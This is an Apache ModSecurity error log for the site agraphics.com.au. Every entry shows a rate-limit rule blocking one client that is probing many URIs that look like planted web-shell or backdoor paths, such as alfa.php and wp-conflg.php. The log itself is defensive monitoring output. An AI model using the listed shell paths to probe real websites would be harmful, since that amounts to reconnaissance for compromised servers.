[Sat Jan 10 04:49:50.573483 2026] [:error] [pid 20744:tid 20765] [client 65.52.163.14:2059] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWFp7kA8oR5jvkFpcP9SKAAAAMg"]
[Sat Jan 10 04:49:50.818598 2026] [:error] [pid 20744:tid 20772] [client 65.52.163.14:2103] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWFp7kA8oR5jvkFpcP9SKgAAAM8"]
[Sat Jan 10 04:49:51.104490 2026] [:error] [pid 20744:tid 20775] [client 65.52.163.14:2015] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aWFp70A8oR5jvkFpcP9SKwAAANI"]
[Sat Jan 10 04:49:51.417263 2026] [:error] [pid 20744:tid 20779] [client 65.52.163.14:2146] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aWFp70A8oR5jvkFpcP9SLwAAANY"]
[Sat Jan 10 04:49:51.717353 2026] [:error] [pid 20744:tid 20781] [client 65.52.163.14:2024] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aWFp70A8oR5jvkFpcP9SMAAAANg"]
[Sat Jan 10 04:49:51.951893 2026] [:error] [pid 20646:tid 20666] [client 65.52.163.14:2037] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aWFp7yKwdq_UhOM64b6dawAAAAs"]
[Sat Jan 10 04:49:52.276724 2026] [:error] [pid 20646:tid 20669] [client 65.52.163.14:2014] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aWFp8CKwdq_UhOM64b6dbAAAAA4"]
[Sat Jan 10 04:49:52.549832 2026] [:error] [pid 20647:tid 20696] [client 65.52.163.14:2089] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aWFp8Kvb0x69MarUHzCXBQAAAE4"]
[Sat Jan 10 04:49:52.829845 2026] [:error] [pid 20647:tid 20689] [client 65.52.163.14:1968] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aWFp8Kvb0x69MarUHzCXBgAAAEc"]
[Sat Jan 10 04:49:53.070535 2026] [:error] [pid 20648:tid 20729] [client 65.52.163.14:2035] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aWFp8TBnnIoBkEBdx9D14wAAAJQ"]
[Sat Jan 10 04:49:53.362415 2026] [:error] [pid 20648:tid 20724] [client 65.52.163.14:1985] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aWFp8TBnnIoBkEBdx9D15AAAAI8"]
[Sat Jan 10 04:49:53.606879 2026] [:error] [pid 20744:tid 20758] [client 65.52.163.14:1988] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aWFp8UA8oR5jvkFpcP9SMgAAAME"]
[Sat Jan 10 04:49:53.852785 2026] [:error] [pid 20744:tid 20767] [client 65.52.163.14:1951] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aWFp8UA8oR5jvkFpcP9SMwAAAMo"]
[Sat Jan 10 04:49:54.086066 2026] [:error] [pid 20744:tid 20780] [client 65.52.163.14:2120] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aWFp8kA8oR5jvkFpcP9SNAAAANc"]
[Sat Jan 10 04:49:54.324495 2026] [:error] [pid 20744:tid 20757] [client 65.52.163.14:2162] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aWFp8kA8oR5jvkFpcP9SNQAAAMA"]
[Sat Jan 10 04:49:54.557032 2026] [:error] [pid 20648:tid 20719] [client 65.52.163.14:1943] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aWFp8jBnnIoBkEBdx9D16QAAAIo"]
[Sat Jan 10 04:49:54.810215 2026] [:error] [pid 20648:tid 20711] [client 65.52.163.14:1926] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aWFp8jBnnIoBkEBdx9D16wAAAII"]
[Sat Jan 10 04:49:55.043906 2026] [:error] [pid 20648:tid 20733] [client 65.52.163.14:2007] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aWFp8zBnnIoBkEBdx9D17AAAAJg"]
[Sat Jan 10 04:49:55.303167 2026] [:error] [pid 20648:tid 20725] [client 65.52.163.14:1925] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aWFp8zBnnIoBkEBdx9D17wAAAJA"]
[Sat Jan 10 04:49:55.563090 2026] [:error] [pid 20647:tid 20704] [client 65.52.163.14:1995] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aWFp86vb0x69MarUHzCXCQAAAFY"]
[Sat Jan 10 04:49:55.863196 2026] [:error] [pid 20648:tid 20723] [client 65.52.163.14:2027] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aWFp8zBnnIoBkEBdx9D18gAAAI4"]
[Sat Jan 10 04:49:56.162600 2026] [:error] [pid 20647:tid 20706] [client 65.52.163.14:1972] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aWFp9Kvb0x69MarUHzCXCgAAAFg"]
[Sat Jan 10 04:49:56.407221 2026] [:error] [pid 20648:tid 20732] [client 65.52.163.14:2086] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aWFp9DBnnIoBkEBdx9D19QAAAJc"]
[Sat Jan 10 04:49:56.655197 2026] [:error] [pid 20648:tid 20728] [client 65.52.163.14:2092] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aWFp9DBnnIoBkEBdx9D19wAAAJM"]
[Sat Jan 10 04:49:56.919037 2026] [:error] [pid 20648:tid 20722] [client 65.52.163.14:2113] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aWFp9DBnnIoBkEBdx9D1-AAAAI0"]
[Sat Jan 10 04:49:57.162441 2026] [:error] [pid 20647:tid 20695] [client 65.52.163.14:1960] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aWFp9avb0x69MarUHzCXCwAAAE0"]
[Sat Jan 10 04:49:57.412833 2026] [:error] [pid 20647:tid 20682] [client 65.52.163.14:2006] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aWFp9avb0x69MarUHzCXDAAAAEA"]
[Sat Jan 10 04:49:57.665212 2026] [:error] [pid 20646:tid 20668] [client 65.52.163.14:2156] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aWFp9SKwdq_UhOM64b6dbQAAAA0"]
[Sat Jan 10 04:49:57.914255 2026] [:error] [pid 20744:tid 20765] [client 65.52.163.14:1958] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aWFp9UA8oR5jvkFpcP9SNwAAAMg"]
[Sat Jan 10 04:49:58.173280 2026] [:error] [pid 20648:tid 20718] [client 65.52.163.14:1966] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aWFp9jBnnIoBkEBdx9D1-gAAAIk"]
[Sat Jan 10 04:49:58.428916 2026] [:error] [pid 20646:tid 20656] [client 65.52.163.14:1990] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aWFp9iKwdq_UhOM64b6dbgAAAAE"]
[Sat Jan 10 04:49:58.667029 2026] [:error] [pid 20646:tid 20655] [client 65.52.163.14:2141] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aWFp9iKwdq_UhOM64b6dcAAAAAA"]
[Sat Jan 10 04:49:58.938282 2026] [:error] [pid 20646:tid 20679] [client 65.52.163.14:1929] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aWFp9iKwdq_UhOM64b6dcQAAABg"]
[Sat Jan 10 04:49:59.192128 2026] [:error] [pid 20744:tid 20771] [client 65.52.163.14:2117] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aWFp90A8oR5jvkFpcP9SOgAAAM4"]
[Sat Jan 10 04:49:59.469214 2026] [:error] [pid 20744:tid 20763] [client 65.52.163.14:2041] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWFp90A8oR5jvkFpcP9SOwAAAMY"]
[Sat Jan 10 04:49:59.769427 2026] [:error] [pid 20744:tid 20774] [client 65.52.163.14:2142] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWFp90A8oR5jvkFpcP9SPAAAANE"]
[Sat Jan 10 04:50:00.006277 2026] [:error] [pid 20744:tid 20768] [client 65.52.163.14:2020] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWFp-EA8oR5jvkFpcP9SPQAAAMs"]
[Sat Jan 10 04:50:00.256762 2026] [:error] [pid 20744:tid 20761] [client 65.52.163.14:2013] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWFp-EA8oR5jvkFpcP9SPgAAAMQ"]
[Sat Jan 10 04:50:00.502132 2026] [:error] [pid 20744:tid 20778] [client 65.52.163.14:1923] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aWFp-EA8oR5jvkFpcP9SQgAAANU"]
[Sat Jan 10 04:50:00.735745 2026] [:error] [pid 20647:tid 20700] [client 65.52.163.14:2045] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aWFp-Kvb0x69MarUHzCXDwAAAFI"]
[Sat Jan 10 04:50:01.048196 2026] [:error] [pid 20647:tid 20692] [client 65.52.163.14:2104] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aWFp-avb0x69MarUHzCXEAAAAEo"]
[Sat Jan 10 04:50:01.327358 2026] [:error] [pid 20647:tid 20685] [client 65.52.163.14:2053] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aWFp-avb0x69MarUHzCXEQAAAEM"]
[Sat Jan 10 04:50:01.596931 2026] [:error] [pid 20647:tid 20693] [client 65.52.163.14:2126] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aWFp-avb0x69MarUHzCXEwAAAEs"]
[Sat Jan 10 04:50:01.835057 2026] [:error] [pid 20744:tid 20780] [client 65.52.163.14:2096] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aWFp-UA8oR5jvkFpcP9SRAAAANc"]
[Sat Jan 10 04:50:02.100060 2026] [:error] [pid 20647:tid 20703] [client 65.52.163.14:1856] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aWFp-qvb0x69MarUHzCXFQAAAFU"]
[Sat Jan 10 04:50:02.354327 2026] [:error] [pid 20647:tid 20701] [client 65.52.163.14:2068] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aWFp-qvb0x69MarUHzCXFwAAAFM"]
[Sat Jan 10 04:50:02.604417 2026] [:error] [pid 20744:tid 20766] [client 65.52.163.14:1977] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aWFp-kA8oR5jvkFpcP9SRQAAAMk"]
[Sat Jan 10 04:50:02.851105 2026] [:error] [pid 20646:tid 20662] [client 65.52.163.14:2003] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aWFp-iKwdq_UhOM64b6dcwAAAAc"]
[Sat Jan 10 04:50:03.097748 2026] [:error] [pid 20744:tid 20772] [client 65.52.163.14:2043] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aWFp-0A8oR5jvkFpcP9SRwAAAM8"]
[Sat Jan 10 04:50:03.375748 2026] [:error] [pid 20744:tid 20760] [client 65.52.163.14:1944] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aWFp-0A8oR5jvkFpcP9SSAAAAMM"]
[Sat Jan 10 04:50:03.611054 2026] [:error] [pid 20647:tid 20689] [client 65.52.163.14:1986] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aWFp-6vb0x69MarUHzCXGQAAAEc"]
[Sat Jan 10 04:50:03.885738 2026] [:error] [pid 20648:tid 20733] [client 65.52.163.14:1954] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aWFp-zBnnIoBkEBdx9D1_QAAAJg"]
[Sat Jan 10 04:50:04.122462 2026] [:error] [pid 20647:tid 20699] [client 65.52.163.14:2112] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aWFp_Kvb0x69MarUHzCXGgAAAFE"]
[Sat Jan 10 04:50:04.379402 2026] [:error] [pid 20646:tid 20671] [client 65.52.163.14:1893] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aWFp_CKwdq_UhOM64b6ddAAAABA"]
[Sat Jan 10 04:50:04.618468 2026] [:error] [pid 20646:tid 20677] [client 65.52.163.14:2033] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aWFp_CKwdq_UhOM64b6ddQAAABY"]
[Sat Jan 10 04:50:04.867797 2026] [:error] [pid 20647:tid 20702] [client 65.52.163.14:2131] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aWFp_Kvb0x69MarUHzCXGwAAAFQ"]
